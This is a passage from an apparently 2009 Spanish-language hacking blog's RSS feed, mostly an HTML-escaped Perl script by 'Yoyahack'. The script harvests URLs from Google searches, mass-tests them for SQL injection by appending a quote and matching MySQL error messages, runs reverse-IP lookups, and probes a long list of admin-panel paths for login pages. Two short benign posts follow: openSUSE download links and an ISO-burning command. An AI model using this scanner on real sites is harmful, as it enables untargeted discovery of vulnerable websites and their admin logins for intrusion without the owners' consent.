/&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;                 Code &lt;br /&gt;                  by&lt;br /&gt;               Yoyahack&lt;br /&gt;         www.yoyahack.blogspot.com&lt;br /&gt;     www.undersecurity.com &amp;amp; www.mitm.cl&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;);&lt;br /&gt;print q (&lt;br /&gt; &lt;br /&gt;1- Solo www.google.com&lt;br /&gt;2- En todos los servidores google&lt;br /&gt;3- Escanear una lista de paginas guardada en un archivo &lt;br /&gt;de texto en busca de vurnerabilidades&lt;br /&gt;4- Reverse dns&lt;br /&gt;5- Buscador de panel de control&lt;br /&gt;);&lt;br /&gt; &lt;br /&gt;print &amp;quot;Escoje una opcion: &amp;quot;;&lt;br /&gt;$opcion = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;if ($opcion == 1) { &amp;amp;google }&lt;br /&gt;if ($opcion == 2) { &amp;amp;googles }&lt;br /&gt;if ($opcion == 3) { &amp;amp;vul }&lt;br /&gt;if ($opcion == 4) { &amp;amp;dns }&lt;br /&gt;if ($opcion == 5) { &amp;amp;panel }&lt;br /&gt; &lt;br /&gt;sub google {&lt;br /&gt; &lt;br /&gt;print &amp;quot;Escriba la palabra a buscar: &amp;quot;;&lt;br /&gt;my $search = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;print &amp;quot;\nnumero de paginas: &amp;quot;;&lt;br /&gt;my $num = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&amp;quot;);&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;for($i=1;$i&amp;lt;$num;$i++){&lt;br /&gt;    my $busqueda = new HTTP::Request GET =&amp;gt;&amp;quot;http://www.google.com/search?hl=&amp;amp;q=$search&amp;amp;start=$i&amp;quot;;&lt;br /&gt;    my $resultado = $ua-&amp;gt;request($busqueda);&lt;br /&gt;    $ua-&amp;gt;timeout(7) || die &amp;quot;Conecction faield&amp;quot;;&lt;br /&gt;    my $result = $resultado-&amp;gt;content();&lt;br /&gt; &lt;br /&gt;    while ($result =~ m/&amp;lt;h3 class=.*?&amp;lt;a href=&amp;quot;([^&amp;quot;]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt;        my ($enlace) = ($1);&lt;br /&gt; &lt;br /&gt;        open (SE,&amp;quot;&amp;gt;&amp;gt;busqueda.txt&amp;quot;);&lt;br /&gt;        print SE &amp;quot;$enlace\n&amp;quot;;&lt;br /&gt;        close (SE);&lt;br /&gt;        print &amp;quot;$enlace\n&amp;quot;; &lt;br /&gt; &lt;br /&gt;          }&lt;br /&gt;                         }&lt;br /&gt;                                                                        }&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;sub googles {&lt;br /&gt; &lt;br /&gt;print &amp;quot;Escriba la palabra a buscar\n&amp;quot;;&lt;br /&gt;my $bus1 = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;print &amp;quot;Numero de paginas a buscar en cada servidor google\n&amp;quot;;&lt;br /&gt;my $num1 = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&amp;quot;);&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;foreach $googles(@googles)&lt;br /&gt;               { &lt;br /&gt;               chomp($googles);&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;for($ii=1;$ii&amp;lt;$num1;$ii++){&lt;br /&gt;    my $busqueda1 = new HTTP::Request GET =&amp;gt;&amp;quot;http://$googles/search?hl=&amp;amp;q=$bus1&amp;amp;start=$ii&amp;quot;;&lt;br /&gt;    my $resultado1 = $ua-&amp;gt;request($busqueda1);&lt;br /&gt;    $ua-&amp;gt;timeout(7) || die &amp;quot;Conecction faield&amp;quot;;&lt;br /&gt;    my $result1 = $resultado1-&amp;gt;content();&lt;br /&gt; &lt;br /&gt;    while ($result1 =~ m/&amp;lt;h3 class=.*?&amp;lt;a href=&amp;quot;([^&amp;quot;]+).*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/g) {&lt;br /&gt;    my ($enlace1) = ($1);&lt;br /&gt; &lt;br /&gt;    open (SS,&amp;quot;&amp;gt;&amp;gt;googles.txt&amp;quot;);&lt;br /&gt;    print SS &amp;quot;$enlace1\n&amp;quot;;&lt;br /&gt;    close (SS);&lt;br /&gt;    print &amp;quot;$enlace1\n&amp;quot;;&lt;br /&gt; &lt;br /&gt;            } &lt;br /&gt;                }     &lt;br /&gt;                           }&lt;br /&gt;                                                                        }&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;sub vul {&lt;br /&gt; &lt;br /&gt;print &amp;quot;Escanear todas las url obtenida en busca de paginas vurnerables a Mysql? &amp;quot;;&lt;br /&gt; &lt;br /&gt;print q(&lt;br /&gt;1 = verificar las paginas vurnerables&lt;br /&gt;2 = No verificar y salir del code&lt;br /&gt;);&lt;br /&gt;print &amp;quot;\nElige una opcion\n&amp;quot;;&lt;br /&gt; &lt;br /&gt;my $op2 = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;if ($op2 == 1) { &amp;amp;mysql }&lt;br /&gt;if ($op2 == 2) { exit(0); }&lt;br /&gt; &lt;br /&gt;        }&lt;br /&gt; &lt;br /&gt;sub mysql {&lt;br /&gt; &lt;br /&gt;print q(&lt;br /&gt;Nombre del archivo de texto&lt;br /&gt;en el que esta guardado las listas de paginas&lt;br /&gt; &lt;br /&gt;);&lt;br /&gt;my $txt = &amp;lt;STDIN&amp;gt;;&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt;open(PAG,$txt) || die &amp;quot;Archivo de texto no encontrado&amp;quot;;&lt;br /&gt;@urls=&amp;lt;PAG&amp;gt;;&lt;br /&gt;close (PAG);&lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;foreach $pag(@urls)&lt;br /&gt;               { &lt;br /&gt;               chomp($pag);&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&amp;quot;);&lt;br /&gt;#------------------------------------------------&lt;br /&gt; &lt;br /&gt;#------------------------------------------------&lt;br /&gt;print &amp;quot;Comprovando paginas vurnerables a Mysql\n\n&amp;quot;;&lt;br /&gt; &lt;br /&gt;my $iny = $pag.&amp;quot;&amp;#39;&amp;quot;;&lt;br /&gt;my $peti = new HTTP::Request GET =&amp;gt;&amp;quot;$iny&amp;quot;;&lt;br /&gt;my $resul = $ua-&amp;gt;request($peti);&lt;br /&gt;$ua-&amp;gt;timeout(7) || die &amp;quot;Conecction faield to host&amp;quot;;&lt;br /&gt;my $fuente = $resul-&amp;gt;content();&lt;br /&gt; &lt;br /&gt;if($fuente =~ /mysql_fetch_/ || $fuente =~ /You have an error in your SQL syntax/ || $fuente =~ /tem um erro de sintaxe no seu SQL/ ||         $fuente =~ /Algo est&amp;Atilde;&amp;iexcl; equivocado en su sintax/ || $fuente =~ /Division by zero in/ || $fuente =~ /supplied argument is not a valid MySQL/){&lt;br /&gt; &lt;br /&gt;    open (VUL,&amp;quot;&amp;gt;&amp;gt;vurl.txt&amp;quot;);&lt;br /&gt;    print VUL q(&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt;                 Code &lt;br /&gt;                  by&lt;br /&gt;               Yoyahack&lt;br /&gt;         www.yoyahack.blogspot.com&lt;br /&gt;     www.undersecurity.com &amp;amp; www.mitm.cl&lt;br /&gt;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&amp;Acirc;&amp;middot;&lt;br /&gt; &lt;br /&gt;);&lt;br /&gt;    print VUL &amp;quot;$pag\n&amp;quot;;&lt;br /&gt;    close (SS);&lt;br /&gt;    print &amp;quot;[+]$pag es vurnerable a SQLI\n&amp;quot;;&lt;br /&gt;    print &amp;quot;\nLas paginas vurnerables han sido guardada exitosamente\nen un archivo de texto\n&amp;quot;;&lt;br /&gt;   } else {&lt;br /&gt;             print &amp;quot;\n\n$pag no es vurnerable a SQL&amp;quot;; &lt;br /&gt;         }&lt;br /&gt;          }               &lt;br /&gt;               }&lt;br /&gt;&lt;br /&gt;sub dns {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;print &amp;quot;Ingresa la web\n&amp;quot;;&lt;br /&gt;my $web = &amp;lt;STDIN&amp;gt;;&lt;br /&gt;&lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent(&amp;quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&amp;quot;);&lt;br /&gt; &lt;br /&gt;my $busqueda = new HTTP::Request GET =&amp;gt;&amp;quot;http://www.ip-adress.com/reverse_ip/$web&amp;quot;;&lt;br /&gt;my $resultado = $ua-&amp;gt;request($busqueda);&lt;br /&gt;$ua-&amp;gt;timeout(7) || die &amp;quot;Conecction faield&amp;quot;;&lt;br /&gt;my $result = $resultado-&amp;gt;content();&lt;br /&gt; &lt;br /&gt;while ($result =~ m!&amp;lt;a href=&amp;quot;/whois/(.+)&amp;quot;&amp;gt;Whois&amp;lt;/a&amp;gt;!ig){&lt;br /&gt;  &lt;br /&gt;    open (DNS,&amp;quot;&amp;gt;&amp;gt;reverse_dns.txt&amp;quot;);&lt;br /&gt;  &lt;br /&gt;    print DNS &amp;quot;$1\n&amp;quot;;&lt;br /&gt;    close (DNS);&lt;br /&gt;    print &amp;quot;$1\n&amp;quot;;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;if ($result =~ /valid IP address/) {&lt;br /&gt;   &lt;br /&gt;    print &amp;quot;Not found\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub panel{&lt;br /&gt;&lt;br /&gt;print &amp;quot;Inserte la web\nEx:http://www.pagina.com/\n\n&amp;quot;;&lt;br /&gt;&lt;br /&gt;my $pag = &amp;lt;STDIN&amp;gt;;&lt;br /&gt;chomp($pag);&lt;br /&gt;&lt;br /&gt;#------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;@panel = (&amp;#39;admin/&amp;#39;,&amp;#39;administrator/&amp;#39;,&amp;#39;moderator/&amp;#39;,&amp;#39;webadmin/&amp;#39;,&amp;#39;adminarea/&amp;#39;,&amp;#39;bb-admin/&amp;#39;,&amp;#39;adminLogin/&amp;#39;,&amp;#39;admin_area/&amp;#39;,&amp;#39;panel-administracion/&amp;#39;,&amp;#39;instadmin/&amp;#39;,&lt;br /&gt;&amp;#39;memberadmin/&amp;#39;,&amp;#39;administratorlogin/&amp;#39;,&amp;#39;adm/&amp;#39;,&amp;#39;admin/account.php&amp;#39;,&amp;#39;admin/index.php&amp;#39;,&amp;#39;admin/login.php&amp;#39;,&amp;#39;admin/admin.php&amp;#39;,&amp;#39;admin/account.php&amp;#39;,&lt;br /&gt;&amp;#39;admin_area/admin.php&amp;#39;,&amp;#39;admin_area/login.php&amp;#39;,&amp;#39;siteadmin/login.php&amp;#39;,&amp;#39;siteadmin/index.php&amp;#39;,&amp;#39;siteadmin/login.html&amp;#39;,&amp;#39;admin/account.html&amp;#39;,&amp;#39;admin/index.html&amp;#39;,&amp;#39;admin/login.html&amp;#39;,&amp;#39;admin/admin.html&amp;#39;,&lt;br /&gt;&amp;#39;admin_area/index.php&amp;#39;,&amp;#39;bb-admin/index.php&amp;#39;,&amp;#39;bb-admin/login.php&amp;#39;,&amp;#39;bb-admin/admin.php&amp;#39;,&amp;#39;admin/home.php&amp;#39;,&amp;#39;admin_area/login.html&amp;#39;,&amp;#39;admin_area/index.html&amp;#39;,&lt;br /&gt;&amp;#39;admin/controlpanel.php&amp;#39;,&amp;#39;admin.php&amp;#39;,&amp;#39;admincp/index.asp&amp;#39;,&amp;#39;admincp/login.asp&amp;#39;,&amp;#39;admincp/index.html&amp;#39;,&amp;#39;admin/account.html&amp;#39;,&amp;#39;adminpanel.html&amp;#39;,&amp;#39;webadmin.html&amp;#39;,&lt;br /&gt;&amp;#39;webadmin/index.html&amp;#39;,&amp;#39;webadmin/admin.html&amp;#39;,&amp;#39;webadmin/login.html&amp;#39;,&amp;#39;admin/admin_login.html&amp;#39;,&amp;#39;admin_login.html&amp;#39;,&amp;#39;panel-administracion/login.html&amp;#39;,&lt;br /&gt;&amp;#39;admin/cp.php&amp;#39;,&amp;#39;cp.php&amp;#39;,&amp;#39;administrator/index.php&amp;#39;,&amp;#39;administrator/login.php&amp;#39;,&amp;#39;nsw/admin/login.php&amp;#39;,&amp;#39;webadmin/login.php&amp;#39;,&amp;#39;admin/admin_login.php&amp;#39;,&amp;#39;admin_login.php&amp;#39;,&lt;br /&gt;&amp;#39;administrator/account.php&amp;#39;,&amp;#39;administrator.php&amp;#39;,&amp;#39;admin_area/admin.html&amp;#39;,&amp;#39;pages/admin/admin-login.php&amp;#39;,&amp;#39;admin/admin-login.php&amp;#39;,&amp;#39;admin-login.php&amp;#39;,&lt;br /&gt;&amp;#39;bb-admin/index.html&amp;#39;,&amp;#39;bb-admin/login.html&amp;#39;,&amp;#39;bb-admin/admin.html&amp;#39;,&amp;#39;admin/home.html&amp;#39;,&amp;#39;login.php&amp;#39;,&amp;#39;modelsearch/login.php&amp;#39;,&amp;#39;moderator.php&amp;#39;,&amp;#39;moderator/login.php&amp;#39;,&lt;br /&gt;&amp;#39;moderator/admin.php&amp;#39;,&amp;#39;account.php&amp;#39;,&amp;#39;pages/admin/admin-login.html&amp;#39;,&amp;#39;admin/admin-login.html&amp;#39;,&amp;#39;admin-login.html&amp;#39;,&amp;#39;controlpanel.php&amp;#39;,&amp;#39;admincontrol.php&amp;#39;,&lt;br /&gt;&amp;#39;admin/adminLogin.html&amp;#39;,&amp;#39;adminLogin.html&amp;#39;,&amp;#39;admin/adminLogin.html&amp;#39;,&amp;#39;home.html&amp;#39;,&amp;#39;rcjakar/admin/login.php&amp;#39;,&amp;#39;adminarea/index.html&amp;#39;,&amp;#39;adminarea/admin.html&amp;#39;,&lt;br /&gt;&amp;#39;webadmin.php&amp;#39;,&amp;#39;webadmin/index.php&amp;#39;,&amp;#39;webadmin/admin.php&amp;#39;,&amp;#39;admin/controlpanel.html&amp;#39;,&amp;#39;admin.html&amp;#39;,&amp;#39;admin/cp.html&amp;#39;,&amp;#39;cp.html&amp;#39;,&amp;#39;adminpanel.php&amp;#39;,&amp;#39;moderator.html&amp;#39;,&lt;br /&gt;&amp;#39;administrator/index.html&amp;#39;,&amp;#39;administrator/login.html&amp;#39;,&amp;#39;user.html&amp;#39;,&amp;#39;administrator/account.html&amp;#39;,&amp;#39;administrator.html&amp;#39;,&amp;#39;login.html&amp;#39;,&amp;#39;modelsearch/login.html&amp;#39;,&lt;br /&gt;&amp;#39;moderator/login.html&amp;#39;,&amp;#39;adminarea/login.html&amp;#39;,&amp;#39;panel-administracion/index.html&amp;#39;,&amp;#39;panel-administracion/admin.html&amp;#39;,&amp;#39;modelsearch/index.html&amp;#39;,&amp;#39;modelsearch/admin.html&amp;#39;,&lt;br /&gt;&amp;#39;admincontrol/login.html&amp;#39;,&amp;#39;adm/index.html&amp;#39;,&amp;#39;adm.html&amp;#39;,&amp;#39;moderator/admin.html&amp;#39;,&amp;#39;user.php&amp;#39;,&amp;#39;account.html&amp;#39;,&amp;#39;controlpanel.html&amp;#39;,&amp;#39;admincontrol.html&amp;#39;,&lt;br /&gt;&amp;#39;panel-administracion/login.php&amp;#39;,&amp;#39;wp-login.php&amp;#39;,&amp;#39;adminLogin.php&amp;#39;,&amp;#39;admin/adminLogin.php&amp;#39;,&amp;#39;home.php&amp;#39;,&amp;#39;admin.php&amp;#39;,&amp;#39;adminarea/index.php&amp;#39;,&lt;br /&gt;&amp;#39;adminarea/admin.php&amp;#39;,&amp;#39;adminarea/login.php&amp;#39;,&amp;#39;panel-administracion/index.php&amp;#39;,&amp;#39;panel-administracion/admin.php&amp;#39;,&amp;#39;modelsearch/index.php&amp;#39;,&lt;br /&gt;&amp;#39;modelsearch/admin.php&amp;#39;,&amp;#39;admincontrol/login.php&amp;#39;,&amp;#39;adm/admloginuser.php&amp;#39;,&amp;#39;admloginuser.php&amp;#39;,&amp;#39;admin2.php&amp;#39;,&amp;#39;admin2/login.php&amp;#39;,&amp;#39;admin2/index.php&amp;#39;,&lt;br /&gt;&amp;#39;adm/index.php&amp;#39;,&amp;#39;adm.php&amp;#39;,&amp;#39;affiliate.php&amp;#39;,&amp;#39;adm_auth.php&amp;#39;,&amp;#39;memberadmin.php&amp;#39;,&amp;#39;administratorlogin.php&amp;#39;&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;#----------------------------------&lt;br /&gt;print &amp;quot;Buscando panel de control\n&amp;quot;;&lt;br /&gt;&lt;br /&gt;foreach $panel(@panel) {&lt;br /&gt;        chomp($panel);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $todo = &amp;quot;$pag&amp;quot;.&amp;quot;$panel&amp;quot;;&lt;br /&gt;my $lwp = HTTP::Request-&amp;gt;new(GET=&amp;gt;&amp;quot;$todo&amp;quot;);&lt;br /&gt;my $ua = LWP::UserAgent-&amp;gt;new();&lt;br /&gt;$ua-&amp;gt;timeout(10);&lt;br /&gt;my $response = $ua-&amp;gt;request($lwp);&lt;br /&gt;my $peti = $response-&amp;gt;content();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if ($peti =~ /Username/ ||&lt;br /&gt;$peti =~ /Password/ ||&lt;br /&gt;$peti =~ /username/ ||&lt;br /&gt;$peti =~ /password/ ||&lt;br /&gt;$peti =~ /USERNAME/ ||&lt;br /&gt;$peti =~ /PASSWORD/ ||&lt;br /&gt;$peti =~ /Senha/ ||&lt;br /&gt;$peti =~ /senha/ ||&lt;br /&gt;$peti =~ /Personal/ ||&lt;br /&gt;$peti =~ /Usuario/ ||&lt;br /&gt;$peti =~ /Clave/ ||&lt;br /&gt;$peti =~ /Usager/ ||&lt;br /&gt;$peti =~ /usager/ ||&lt;br /&gt;$peti =~ /Sing/ ||&lt;br /&gt;$peti =~ /passe/ ||&lt;br /&gt;$peti =~ /P\/W/ || &lt;br /&gt;$peti =~ /Admin Password/&lt;br /&gt;){&lt;br /&gt;    open (P,&amp;quot;&amp;gt;&amp;gt;panel de control&amp;quot;);&lt;br /&gt;    print P &amp;quot;{+}Found -&amp;gt; $todo\n&amp;quot;;&lt;br /&gt;    close (P);&lt;br /&gt;    print &amp;quot;{+}Found -&amp;gt; $todo\n&amp;quot;;&lt;br /&gt;}else{&lt;br /&gt;    print &amp;quot;$todo Not found\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>Descargar openSUSE 11.1</title><link>http://yoyahack.blogspot.com/2009/09/descargaropensuse-111.html</link><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 27 Sep 2009 15:22:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-3477775627453125217</guid><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 129px; height: 85px;" src="http://static.opensuse.org/c/images/common/geeko.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bueno en esto día estuve probando este distrito.&lt;br /&gt;&lt;br /&gt;Ps le dejo el link de descarga para lo que quieren descargarlo.&lt;br /&gt;&lt;br /&gt;&lt;h1 style="color: rgb(0, 153, 0);"&gt;openSUSE 11.1&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;------------------------&lt;/span&gt;&lt;br /&gt;32 bit - LiveCd&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 153, 0);" href="http://download.opensuse.org/distribution/11.1/iso/openSUSE-11.1-KDE4-LiveCD-i686.iso"&gt;Descargar para KDE4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://download.opensuse.org/distribution/11.1/iso/openSUSE-11.1-GNOME-LiveCD-i686.iso"&gt;Descargar para GNOME&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;64 bit - LiveCd&lt;br /&gt;&lt;br /&gt;&lt;a href="http://download.opensuse.org/distribution/11.1/iso/openSUSE-11.1-KDE4-LiveCD-x86_64.iso"&gt;Descargar para KD4&lt;/a&gt;&lt;br /&gt;&lt;a href="http://download.opensuse.org/distribution/11.1/iso/openSUSE-11.1-GNOME-LiveCD-x86_64.iso"&gt;&lt;br /&gt;Descargar para GNOME&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saludos xD.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure length="695363584" type="application/octet-stream" url="http://download.opensuse.org/distribution/11.1/iso/openSUSE-11.1-KDE4-LiveCD-i686.iso"/><itunes:explicit>no</itunes:explicit><itunes:subtitle>Bueno en esto día estuve probando este distrito. Ps le dejo el link de descarga para lo que quieren descargarlo. openSUSE 11.1 ------------------------ 32 bit - LiveCd Descargar para KDE4 Descargar para GNOME ------------------------ 64 bit - LiveCd Descargar para KD4 Descargar para GNOME ------------------------ Saludos xD.</itunes:subtitle><itunes:author>noreply@blogger.com (yoyahack)</itunes:author><itunes:summary>Bueno en esto día estuve probando este distrito. Ps le dejo el link de descarga para lo que quieren descargarlo. openSUSE 11.1 ------------------------ 32 bit - LiveCd Descargar para KDE4 Descargar para GNOME ------------------------ 64 bit - LiveCd Descargar para KD4 Descargar para GNOME ------------------------ Saludos xD.</itunes:summary></item><item><title>Cómo quemar un .ISO desde la linea de comandos</title><link>http://yoyahack.blogspot.com/2009/09/como-quemar-un-iso-desde-la-linea-de.html</link><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 27 Sep 2009 15:18:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-4808407412981535965</guid><description>Bueno aquí un simple comando para quemar un .ISO desde la linea de comando.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;wodim name.iso&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Opciones de wodim&lt;br /&gt;&lt;br /&gt;&lt;code&gt;man wodim&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Saludos.</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Encode text en html entities en perl</title><link>http://yoyahack.blogspot.com/2009/09/encode-text-en-html-entities-en-perl.html</link><category>Herramientas</category><category>perl</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Wed, 23 Sep 2009 12:41:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-7822629677350705609</guid><description>Bueno aquí mi code para que encode sus texto a html entities, muy bueno para los blogs.&lt;br /&gt;&lt;br 